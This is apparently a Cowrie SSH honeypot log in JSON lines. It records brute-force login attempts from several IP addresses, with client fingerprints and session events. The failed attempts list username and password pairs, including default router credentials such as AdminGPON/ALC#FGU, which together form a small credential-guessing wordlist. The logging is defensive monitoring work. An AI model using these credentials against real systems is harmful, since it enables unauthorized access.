{"eventid":"cowrie.login.failed","username":"admin","password":"31071973","message":"login attempt [admin/31071973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:29:10.295545Z","src_ip":"2.57.121.112","session":"1a52bfc5004b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310588","message":"login attempt [admin/310588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:29:11.401721Z","src_ip":"2.57.121.112","session":"1a52bfc5004b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310581","message":"login attempt [admin/310581] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:29:12.508069Z","src_ip":"2.57.121.112","session":"1a52bfc5004b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310393","message":"login attempt [admin/310393] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:29:13.614042Z","src_ip":"2.57.121.112","session":"1a52bfc5004b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3103","message":"login attempt [admin/3103] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:29:14.727320Z","src_ip":"2.57.121.112","session":"1a52bfc5004b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:29:15.834340Z","src_ip":"2.57.121.112","session":"1a52bfc5004b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37670,"dst_ip":"159.203.135.109","dst_port":22,"session":"f34781771395","protocol":"ssh","message":"New connection: 2.57.122.208:37670 (159.203.135.109:22) [session: f34781771395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:29:55.727012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:29:55.812762Z","src_ip":"2.57.122.208","session":"f34781771395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:29:55.912955Z","src_ip":"2.57.122.208","session":"f34781771395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:29:56.467722Z","src_ip":"2.57.122.208","session":"f34781771395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:29:57.569220Z","src_ip":"2.57.122.208","session":"f34781771395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":23790,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c1b034b873f","protocol":"ssh","message":"New connection: 213.209.159.159:23790 (159.203.135.109:22) [session: 9c1b034b873f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:00.381950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:06.422946Z","src_ip":"213.209.159.159","session":"9c1b034b873f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:06.501244Z","src_ip":"213.209.159.159","session":"9c1b034b873f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mina","password":"mina","message":"login attempt [mina/mina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:06.903299Z","src_ip":"213.209.159.159","session":"9c1b034b873f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":33682,"dst_ip":"159.203.135.109","dst_port":22,"session":"a63194213ddd","protocol":"ssh","message":"New connection: 2.57.122.96:33682 (159.203.135.109:22) [session: a63194213ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:07.599790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:07.605468Z","src_ip":"2.57.122.96","session":"a63194213ddd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:07.712015Z","src_ip":"2.57.122.96","session":"a63194213ddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mina","password":"mina1","message":"login attempt [mina/mina1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:07.988234Z","src_ip":"213.209.159.159","session":"9c1b034b873f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"@WSX3edc#EDC","message":"login attempt [ubuntu/@WSX3edc#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:08.026812Z","src_ip":"2.57.122.96","session":"a63194213ddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mina","password":"mina123","message":"login attempt [mina/mina123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:09.073140Z","src_ip":"213.209.159.159","session":"9c1b034b873f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:09.136843Z","src_ip":"2.57.122.96","session":"a63194213ddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mina","password":"mina1234","message":"login attempt [mina/mina1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:10.158200Z","src_ip":"213.209.159.159","session":"9c1b034b873f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mina","password":"mina12345","message":"login attempt [mina/mina12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:11.243147Z","src_ip":"213.209.159.159","session":"9c1b034b873f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:12.327398Z","src_ip":"213.209.159.159","session":"9c1b034b873f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":33630,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd8d28ecaa22","protocol":"ssh","message":"New connection: 2.57.122.208:33630 (10.17.0.5:22) [session: dd8d28ecaa22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:30.050026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:30.289211Z","src_ip":"2.57.122.208","session":"dd8d28ecaa22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:30.292734Z","src_ip":"2.57.122.208","session":"dd8d28ecaa22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:31.348478Z","src_ip":"2.57.122.208","session":"dd8d28ecaa22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:30:32.511446Z","src_ip":"2.57.122.208","session":"dd8d28ecaa22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":50926,"dst_ip":"159.203.135.109","dst_port":22,"session":"044acbeae336","protocol":"ssh","message":"New connection: 92.118.39.95:50926 (159.203.135.109:22) [session: 044acbeae336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:31:11.397045Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:31:11.495004Z","src_ip":"92.118.39.95","session":"044acbeae336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":60394,"dst_ip":"10.17.0.5","dst_port":22,"session":"0057a31a46d8","protocol":"ssh","message":"New connection: 159.65.30.211:60394 (10.17.0.5:22) [session: 0057a31a46d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:31:13.138438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:31:13.142733Z","src_ip":"159.65.30.211","session":"0057a31a46d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:31:13.211692Z","src_ip":"159.65.30.211","session":"0057a31a46d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"auroracoin","password":"auroracoin!","message":"login attempt [auroracoin/auroracoin!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:31:13.351780Z","src_ip":"159.65.30.211","session":"0057a31a46d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:31:14.422176Z","src_ip":"159.65.30.211","session":"0057a31a46d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":42788,"dst_ip":"159.203.135.109","dst_port":22,"session":"5be8d73ee970","protocol":"ssh","message":"New connection: 45.148.10.121:42788 (159.203.135.109:22) [session: 5be8d73ee970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:31:47.050616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:31:47.055533Z","src_ip":"45.148.10.121","session":"5be8d73ee970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:31:47.135555Z","src_ip":"45.148.10.121","session":"5be8d73ee970","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AdminGPON","password":"ALC#FGU","message":"login attempt [AdminGPON/ALC#FGU] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:31:47.376537Z","src_ip":"45.148.10.121","session":"5be8d73ee970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:31:48.459769Z","src_ip":"45.148.10.121","session":"5be8d73ee970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":34800,"dst_ip":"10.17.0.5","dst_port":22,"session":"e12269dad9b5","protocol":"ssh","message":"New connection: 45.148.10.121:34800 (10.17.0.5:22) [session: e12269dad9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:03.938218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:03.942941Z","src_ip":"45.148.10.121","session":"e12269dad9b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:04.022587Z","src_ip":"45.148.10.121","session":"e12269dad9b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AdminGPON","password":"ALC#FGU","message":"login attempt [AdminGPON/ALC#FGU] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:32:04.260890Z","src_ip":"45.148.10.121","session":"e12269dad9b5","protocol":"ssh"}
